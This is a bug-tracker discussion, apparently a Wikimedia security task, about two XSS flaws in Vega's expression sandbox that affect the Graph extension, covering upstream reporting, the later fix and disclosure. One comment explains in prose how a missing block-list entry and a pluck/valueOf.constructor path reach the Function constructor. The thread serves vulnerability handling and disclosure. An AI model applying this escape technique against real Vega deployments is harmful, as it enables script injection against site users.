Thanks for reporting, @FallingPineapples. The first payload also renders in Vega's online editor, so these appear to be 0-days. Were you able to also report these as security issues upstream? Despite the Vega team's efforts to address existing XSS and harden their signals/expressions layers, it seems clear that such layers are still vulnerable to complex, novel XSS payloads. And I'm not certain it's worth the risk of trusting the Vega interpreter to fully address these issues, at this point. I would say that if we plan to keep Vega as an ext:Graph dependency and keep it enabled on production Wikimedia projects, its signals/expressions functionality should be disabled or limited in some way.

I've now reported both security issues to Vega.

In T336556#8848595, @FallingPineapples wrote:

I've now reported both security issues to Vega.

Thanks!

The second example seems to be a pretty-straightforward consequence of vega-interpreter using a block list rather than an allow list for property access. Lots of eval-list functions are on the block list, but not the specific globalEval function listed. Using a specific whitelist of allowed functions would be safer -- although it might take some effort to come up with a whitelist that covers our use cases, my intuition is that the whitelist should really have very few entries on it.

The first example is trickier: at heart is the pluck call, which invokes field('valueOf.constructor') which effectively computes (0).valueOf.constructor that is, the constructor of the valueOf function value on the (boxed Number) 0, which is to say the Function constructor function, and Function(...) is an eval equivalent. The whitelist of function values would also prevent this attack *iff* it were applied to the return value of function invocations as well as values obtained via property access, given that pluck is (presumably) an allowed function -- but maybe it shouldn't be, it's effectively part of the vega-expression evaluator as I can tell and probably shouldn't be exposed outside the sandbox.

In T336556#8932135, @sbassett wrote:

Lowering from UBN as we currently have no path forward, this is mostly an upstream issue and ext:Graph is still disabled within Wikimedia production.

I still feel T222807#8858868 is a realistic path forward (and not even that much effort). Whether we want a path forward is a different matter (do we think the Graph extension, which isn't very maintainable and never had much uptake, is worth keeping?). But if we do want one, it does exist IMO.

(This isn't meant to dispute the priority change - had there been a quick way to reenable Graph, that would have spared the wiki communities from some disruption, but by now they had to adapt to graphs not working; whether they get reenabled in one month or a few doesn't make much difference.)

In T336556#8932749, @Tgr wrote:

I still feel T222807#8858868 is a realistic path forward (and not even that much effort). Whether we want a path forward is a different matter (do we think the Graph extension, which isn't very maintainable and never had much uptake, is worth keeping?). But if we do want one, it does exist IMO.

(This isn't meant to dispute the priority change - had there been a quick way to reenable Graph, that would have spared the wiki communities from some disruption, but by now they had to adapt to graphs not working; whether they get reenabled in one month or a few doesn't make much difference.)

Completely agree and imagine this should all be discussed during the status meeting this Friday.

I'd note though that vega hasn't released a new version yet, which means they haven't addressed the 0-days reported within this task. So even with iframe-sandboxing, we'd still be deploying a known-vulnerable package to wikimedia production.

It should be noted that we are approaching a year now with no announcement from upstream. Do we have a moral responsibility to publish the vulnerability at some point? Responsible disclosure does not mean redact forever.

It seems like these specific issues were fixed in https://github.com/vega/vega/commit/9fb9ea07e27984394e463d286eb73944fa61411e which is inclded in Vega 5.26 and newer. I don't see any security advisory from upstream though, that commit is omitted from the release noted and the GHSA is still private.

In T336556#9711402, @taavi wrote:

It seems like these specific issues were fixed in https://github.com/vega/vega/commit/9fb9ea07e27984394e463d286eb73944fa61411e which is inclded in Vega 5.26 and newer. I don't see any security advisory from upstream though, that commit is omitted from the release noted and the GHSA is still private.

The first payload no longer seems to execute in their online editor (it did before), so it appears they have indeed solved this particular issue, if not publicly-disclosed it. Still, I'm not personally sold on vega-expressions being reasonably-secure now, as it still allows for a very large attack surface and arbitrary javascript execution.

Can this be public? It sounds like these issues were fixed, and in any case, the graph extension is dead at this point.

In T336556#10016164, @Bawolff wrote:

Can this be public? It sounds like these issues were fixed, and in any case, the graph extension is dead at this point.

@acooper was fine with making this public. I think it should probably be invalid for now? Since while the issues were addressed on Vega's end, the WMF has decided to go a different direction with the new Chart extension.